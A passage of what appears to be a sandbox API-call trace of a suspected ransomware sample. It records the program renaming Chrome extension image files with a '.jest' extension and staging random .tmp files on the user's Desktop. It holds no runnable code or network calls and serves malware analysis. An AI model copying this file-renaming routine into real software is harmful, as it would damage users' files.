8qRwDLiMEsCHab6IAKvIMmjrXMWwPnzx9yp_mehOtoQumtcSgiz207mLOX6lh7HVsO9iOgH4dm2TsWSQEJ6f37lw3Ej8Okk.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x435a6e52, cFileName=" 8qRwDLiMEsCHab6IAKvIMmjrXMWwPnzx9yp_mehOtoQumtcSgiz207mLOX6lh7HVsO9iOgH4dm2TsWSQEJ6f37lw3Ej8Okk.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.215] GetLastError () returned 0x2 [0150.215] GetLastError () returned 0x2 [0150.215] SetLastError (dwErrCode=0x2) [0150.216] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.216] CoFreeUnusedLibraries () [0150.216] GetTickCount () returned 0x1157540 [0150.216] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.216] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.216] GetTickCount () returned 0x1157540 [0150.216] IsWindowVisible (hWnd=0x30268) returned 0 [0150.216] Sleep (dwMilliseconds=0x0) [0150.216] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.jest")) returned 1 [0150.217] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", lpFilePart=0x18e6d8*="topbar_floating_button_hover.png") returned 0xa9 [0150.217] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x9000009, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ee60, ftLastAccessTime.dwLowDateTime=0x146c990, ftLastAccessTime.dwHighDateTime=0x1474ef8, ftLastWriteTime.dwLowDateTime=0x48, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x400000, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.218] GetLastError () returned 0x2 [0150.218] VarBstrFromR4 (in: fltIn=0x47944ff3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.9") returned 0x0 [0150.218] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.218] CoFreeUnusedLibraries () [0150.218] GetTickCount () returned 0x1157540 [0150.218] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.218] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.218] GetTickCount () returned 0x1157540 [0150.219] IsWindowVisible (hWnd=0x30268) returned 0 [0150.219] Sleep (dwMilliseconds=0x0) [0150.219] GetFullPathNameA (in: lpFileName="tRG9o0WW3LgtRUqmoA7ED-SawFEEa-m9D2f6q7JdMW3xzIZlBqWuxLvYD6XXqi9zOLsesQwMuNOIefKjbKvpfHxNrsaYV4ZZDK3tv.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tRG9o0WW3LgtRUqmoA7ED-SawFEEa-m9D2f6q7JdMW3xzIZlBqWuxLvYD6XXqi9zOLsesQwMuNOIefKjbKvpfHxNrsaYV4ZZDK3tv.tmp", lpFilePart=0x18e708*="tRG9o0WW3LgtRUqmoA7ED-SawFEEa-m9D2f6q7JdMW3xzIZlBqWuxLvYD6XXqi9zOLsesQwMuNOIefKjbKvpfHxNrsaYV4ZZDK3tv.tmp") returned 0x8f [0150.219] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", lpFilePart=0x18e708*="topbar_floating_button_hover.png") returned 0xa9 [0150.219] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tRG9o0WW3LgtRUqmoA7ED-SawFEEa-m9D2f6q7JdMW3xzIZlBqWuxLvYD6XXqi9zOLsesQwMuNOIefKjbKvpfHxNrsaYV4ZZDK3tv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trg9o0ww3lgtruqmoa7ed-sawfeea-m9d2f6q7jdmw3xzizlbqwuxlvyd6xxqi9zolsesqwmunoiefkjbkvpfhxnrsayv4zzdk3tv.tmp")) returned 0 [0150.220] GetLastError () returned 0x2 [0150.220] GetLastError () returned 0x2 [0150.220] SetLastError (dwErrCode=0x2) [0150.220] GetLastError () returned 0x2 [0150.220] SetLastError (dwErrCode=0x2) [0150.220] GetLastError () returned 0x2 [0150.220] SetLastError (dwErrCode=0x2) [0150.220] GetFullPathNameA (in: lpFileName="tRG9o0WW3LgtRUqmoA7ED-SawFEEa-m9D2f6q7JdMW3xzIZlBqWuxLvYD6XXqi9zOLsesQwMuNOIefKjbKvpfHxNrsaYV4ZZDK3tv.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tRG9o0WW3LgtRUqmoA7ED-SawFEEa-m9D2f6q7JdMW3xzIZlBqWuxLvYD6XXqi9zOLsesQwMuNOIefKjbKvpfHxNrsaYV4ZZDK3tv.tmp", lpFilePart=0x18e6e4*="tRG9o0WW3LgtRUqmoA7ED-SawFEEa-m9D2f6q7JdMW3xzIZlBqWuxLvYD6XXqi9zOLsesQwMuNOIefKjbKvpfHxNrsaYV4ZZDK3tv.tmp") returned 0x8f [0150.220] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tRG9o0WW3LgtRUqmoA7ED-SawFEEa-m9D2f6q7JdMW3xzIZlBqWuxLvYD6XXqi9zOLsesQwMuNOIefKjbKvpfHxNrsaYV4ZZDK3tv.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39475274, cFileName="o0WW3LgtRUqmoA7ED-SawFEEa-m9D2f6q7JdMW3xzIZlBqWuxLvYD6XXqi9zOLsesQwMuNOIefKjbKvpfHxNrsaYV4ZZDK3tv.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.220] GetLastError () returned 0x2 [0150.220] GetLastError () returned 0x2 [0150.220] SetLastError (dwErrCode=0x2) [0150.221] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.221] CoFreeUnusedLibraries () [0150.221] GetTickCount () returned 0x1157540 [0150.221] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.222] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.222] GetTickCount () returned 0x115754f [0150.222] IsWindowVisible (hWnd=0x30268) returned 0 [0150.222] Sleep (dwMilliseconds=0x0) [0150.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.223] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.224] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.jest")) returned 1 [0150.224] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", lpFilePart=0x18e6d8*="topbar_floating_button_maximize.png") returned 0xac [0150.225] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x92010192, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.225] GetLastError () returned 0x2 [0150.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.225] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.226] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.226] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.226] VarBstrFromR4 (in: fltIn=0x47944ff5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.91") returned 0x0 [0150.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14658b4, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0150.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.227] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.227] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.227] CoFreeUnusedLibraries () [0150.227] GetTickCount () returned 0x115754f [0150.227] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.227] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.227] GetTickCount () returned 0x115754f [0150.228] IsWindowVisible (hWnd=0x30268) returned 0 [0150.228] Sleep (dwMilliseconds=0x0) [0150.228] GetFullPathNameA (in: lpFileName="N5wPjTqZC4qOw6cmsCe0Bw-AD_qs80VjDPJD1R1SeYiQcWEcYTwr-x2W20m2DcnQ4XlZ5zJ1IPiAMp6oQkhgRsshBH2min0bmUgDC.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N5wPjTqZC4qOw6cmsCe0Bw-AD_qs80VjDPJD1R1SeYiQcWEcYTwr-x2W20m2DcnQ4XlZ5zJ1IPiAMp6oQkhgRsshBH2min0bmUgDC.tmp", lpFilePart=0x18e708*="N5wPjTqZC4qOw6cmsCe0Bw-AD_qs80VjDPJD1R1SeYiQcWEcYTwr-x2W20m2DcnQ4XlZ5zJ1IPiAMp6oQkhgRsshBH2min0bmUgDC.tmp") returned 0x8f [0150.228] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", lpFilePart=0x18e708*="topbar_floating_button_maximize.png") returned 0xac [0150.229] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N5wPjTqZC4qOw6cmsCe0Bw-AD_qs80VjDPJD1R1SeYiQcWEcYTwr-x2W20m2DcnQ4XlZ5zJ1IPiAMp6oQkhgRsshBH2min0bmUgDC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n5wpjtqzc4qow6cmsce0bw-ad_qs80vjdpjd1r1seyiqcwecytwr-x2w20m2dcnq4xlz5zj1ipiamp6oqkhgrsshbh2min0bmugdc.tmp")) returned 0 [0150.229] GetLastError () returned 0x2 [0150.229] GetLastError () returned 0x2 [0150.229] SetLastError (dwErrCode=0x2) [0150.229] GetLastError () returned 0x2 [0150.229] SetLastError (dwErrCode=0x2) [0150.229] GetLastError () returned 0x2 [0150.229] SetLastError (dwErrCode=0x2) [0150.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.229] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.230] GetFullPathNameA (in: lpFileName="N5wPjTqZC4qOw6cmsCe0Bw-AD_qs80VjDPJD1R1SeYiQcWEcYTwr-x2W20m2DcnQ4XlZ5zJ1IPiAMp6oQkhgRsshBH2min0bmUgDC.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N5wPjTqZC4qOw6cmsCe0Bw-AD_qs80VjDPJD1R1SeYiQcWEcYTwr-x2W20m2DcnQ4XlZ5zJ1IPiAMp6oQkhgRsshBH2min0bmUgDC.tmp", lpFilePart=0x18e6e4*="N5wPjTqZC4qOw6cmsCe0Bw-AD_qs80VjDPJD1R1SeYiQcWEcYTwr-x2W20m2DcnQ4XlZ5zJ1IPiAMp6oQkhgRsshBH2min0bmUgDC.tmp") returned 0x8f [0150.230] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N5wPjTqZC4qOw6cmsCe0Bw-AD_qs80VjDPJD1R1SeYiQcWEcYTwr-x2W20m2DcnQ4XlZ5zJ1IPiAMp6oQkhgRsshBH2min0bmUgDC.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5077354e, cFileName="jTqZC4qOw6cmsCe0Bw-AD_qs80VjDPJD1R1SeYiQcWEcYTwr-x2W20m2DcnQ4XlZ5zJ1IPiAMp6oQkhgRsshBH2min0bmUgDC.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.230] GetLastError () returned 0x2 [0150.230] GetLastError () returned 0x2 [0150.230] SetLastError (dwErrCode=0x2) [0150.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.230] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.231] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.231] CoFreeUnusedLibraries () [0150.231] GetTickCount () returned 0x115754f [0150.231] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.231] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.231] GetTickCount () returned 0x115754f [0150.231] IsWindowVisible (hWnd=0x30268) returned 0 [0150.231] Sleep (dwMilliseconds=0x0) [0150.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.237] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.238] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.jest")) returned 1 [0150.239] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", lpFilePart=0x18e6d8*="topbar_floating_button_pressed.png") returned 0xab [0150.239] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439870, ftLastAccessTime.dwLowDateTime=0x1448c90, ftLastAccessTime.dwHighDateTime=0x14100c4, ftLastWriteTime.dwLowDateTime=0x10, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.239] GetLastError () returned 0x2 [0150.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.239] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.240] VarBstrFromR4 (in: fltIn=0x47944ff7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.93") returned 0x0 [0150.240] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.240] CoFreeUnusedLibraries () [0150.240] GetTickCount () returned 0x115755f [0150.240] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.240] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.240] GetTickCount () returned 0x115755f [0150.241] IsWindowVisible (hWnd=0x30268) returned 0 [0150.241] Sleep (dwMilliseconds=0x0) [0150.241] GetFullPathNameA (in: lpFileName="Hjd0vBBR9 IB6_x4yHUT9f0mSJ7ALXKBLDr4mLKxe2YYMcwbcx wy4Eikt1BhE3oJf2o_BCuupPvbOfofDRj2NiqKtIpiPs2kveF.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hjd0vBBR9 IB6_x4yHUT9f0mSJ7ALXKBLDr4mLKxe2YYMcwbcx wy4Eikt1BhE3oJf2o_BCuupPvbOfofDRj2NiqKtIpiPs2kveF.tmp", 